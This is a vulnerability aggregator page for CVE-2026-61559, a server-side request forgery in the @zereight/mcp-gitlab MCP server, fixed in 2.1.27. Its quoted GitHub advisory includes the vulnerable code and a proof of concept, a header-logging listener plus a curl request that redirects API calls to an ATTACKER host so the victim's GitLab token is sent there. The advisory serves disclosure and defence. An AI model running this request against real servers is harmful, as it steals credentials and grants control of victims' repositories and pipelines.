CVE-2026-61559
@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery
@zereight/mcp-gitlab is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
9.6
@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery
@zereight/mcp-gitlab is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.
- Record
CVE-2026-61559- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-80004
9.6
@zereight/mcp-gitlab is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.
- Record
EUVD-2026-80004- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2h44-8472-frjj
9.6
@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery
Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft
Affected
- Repository:
zereight/gitlab-mcp - Affected versions: All versions through commit
74a8c83 - Patched versions: None at time of report
Severity
High. CVSS v3.1 8.5 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
Description
When the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server
reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for
all outbound GitLab API calls made within that request. The server validates that
the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no
allowlist or hostname restriction. The server then attaches the victim's
Private-Token to every outbound fetch that uses the redirected URL.
Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an
attacker-controlled host. The next GitLab API call the server makes delivers the
victim's token to that host.
The vulnerable code appears at two locations.
SSE handler (index.ts:11541):
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // no allowlist check
}
Streamable HTTP handler (index.ts:11787), inside parseAuthHeaders:
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
new URL(dynamicApiUrl); // syntax-only check
apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // any reachable host accepted
}
In both cases, apiUrl propagates through getEffectiveApiUrl() and into
getFetchConfig(), which attaches Private-Token: <victim_token> to every
outbound fetch. The token reaches the attacker's host, not GitLab.
Proof of Concept
Run upstream zereight/gitlab-mcp at commit 74a8c83 with
ENABLE_DYNAMIC_API_URL=true and REMOTE_AUTHORIZATION=true.
# 1. Start a listener on the attacker host (port 9099)
# Any HTTP server that logs incoming headers will work.
python3 -c "
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print('HEADERS:', dict(self.headers))
self.send_response(200); self.end_headers()
http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever()
"
# 2. Send any MCP tool call with the malicious header
curl -X POST http://TARGET:3002/mcp \
-H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \
-H "Authorization: Bearer ANY_VALID_TOKEN" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'
The listener receives:
GET /api/v4/projects/1/issues HTTP/1.1
private-token: <VICTIM_GITLAB_TOKEN>
Host: ATTACKER:9099
The victim's token arrives at the attacker host. The attacker never needed it in advance. The MCP server delivered it.
Impact
The attacker obtains the victim's GitLab Personal Access Token or CI/CD job token in a single request. With the stolen token they gain full GitLab API access at the victim's permission level: read of all repositories, issues, merge requests, CI/CD pipeline definitions and variables/secrets; write to push code, modify pipelines, create or delete resources, and rotate CI/CD variables.
CVSS factors:
PR:L: reaching the HTTP transport requires presenting some auth tokenS:C: the attack crosses the boundary into GitLab (a separate security domain)C:H: victim's GitLab token stolen in one request; full read of all scoped dataI:H: attacker can push code and modify pipelines with the stolen tokenA:N: the MCP server continues operating normally
Why This Is a Vulnerability, Not Intended Behavior
ENABLE_DYNAMIC_API_URL is documented for supporting self-hosted GitLab
instances at a non-default base URL. The intended caller behavior is to supply
the URL of their own…
- Record
GHSA-2h44-8472-frjj- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
9.6
@zereight/mcp-gitlab is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.
- Record
CVE-2026-61559- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
9.6
@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery
@zereight/mcp-gitlab is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.
- Record
CVE-2026-61559- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-2h44-8472-frjj
9.6
@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery
Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft
Affected
- Repository:
zereight/gitlab-mcp - Affected versions: All versions through commit
74a8c83 - Patched versions: None at time of report
Severity
High. CVSS v3.1 8.5 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
Description
When the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server
reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for
all outbound GitLab API calls made within that request. The server validates that
the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no
allowlist or hostname restriction. The server then attaches the victim's
Private-Token to every outbound fetch that uses the redirected URL.
Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an
attacker-controlled host. The next GitLab API call the server makes delivers the
victim's token to that host.
The vulnerable code appears at two locations.
SSE handler (index.ts:11541):
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // no allowlist check
}
Streamable HTTP handler (index.ts:11787), inside parseAuthHeaders:
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
new URL(dynamicApiUrl); // syntax-only check
apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // any reachable host accepted
}
In both cases, apiUrl propagates through getEffectiveApiUrl() and into
getFetchConfig(), which attaches Private-Token: <victim_token> to every
outbound fetch. The token reaches the attacker's host, not GitLab.
Proof of Concept
Run upstream zereight/gitlab-mcp at commit 74a8c83 with
ENABLE_DYNAMIC_API_URL=true and REMOTE_AUTHORIZATION=true.
# 1. Start a listener on the attacker host (port 9099)
# Any HTTP server that logs incoming headers will work.
python3 -c "
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print('HEADERS:', dict(self.headers))
self.send_response(200); self.end_headers()
http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever()
"
# 2. Send any MCP tool call with the malicious header
curl -X POST http://TARGET:3002/mcp \
-H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \
-H "Authorization: Bearer ANY_VALID_TOKEN" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'
The listener receives:
GET /api/v4/projects/1/issues HTTP/1.1
private-token: <VICTIM_GITLAB_TOKEN>
Host: ATTACKER:9099
The victim's token arrives at the attacker host. The attacker never needed it in advance. The MCP server delivered it.
Impact
The attacker obtains the victim's GitLab Personal Access Token or CI/CD job token in a single request. With the stolen token they gain full GitLab API access at the victim's permission level: read of all repositories, issues, merge requests, CI/CD pipeline definitions and variables/secrets; write to push code, modify pipelines, create or delete resources, and rotate CI/CD variables.
CVSS factors:
PR:L: reaching the HTTP transport requires presenting some auth tokenS:C: the attack crosses the boundary into GitLab (a separate security domain)C:H: victim's GitLab token stolen in one request; full read of all scoped dataI:H: attacker can push code and modify pipelines with the stolen tokenA:N: the MCP server continues operating normally
Why This Is a Vulnerability, Not Intended Behavior
ENABLE_DYNAMIC_API_URL is documented for supporting self-hosted GitLab
instances at a non-default base URL. The intended caller behavior is to supply
the URL of their own…
- Record
GHSA-2h44-8472-frjj- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@zereight/mcp-gitlabnpm |
0.0.1 up to 2.1.27 | 2.1.27 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-61559 is a critical vulnerability (CVSS 9.6) in Zereight Gitlab-mcp, published September 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in @zereight/mcp-gitlab 2.1.27.
References
github.com/zereight/gitlab-mcp/security/advisories/GHSA-2h44-8472-frjj
github.com/zereight/gitlab-mcp/pull/625
github.com/zereight/gitlab-mcp/commit/6ffb4cc70706fd05b1ab80901676bc2998b6db6d
github.com/zereight/gitlab-mcp/releases/tag/v2.1.27
github.com/advisories/GHSA-2h44-8472-frjj
github.com/CVEProject/cvelistV5/tree/main/cves/2026/61xxx/CVE-2026-61559.json
nvd.nist.gov/vuln/detail/CVE-2026-61559
github.com/zereight/gitlab-mcp
Left out here: the rest of 2 source descriptions. The JSON record has them.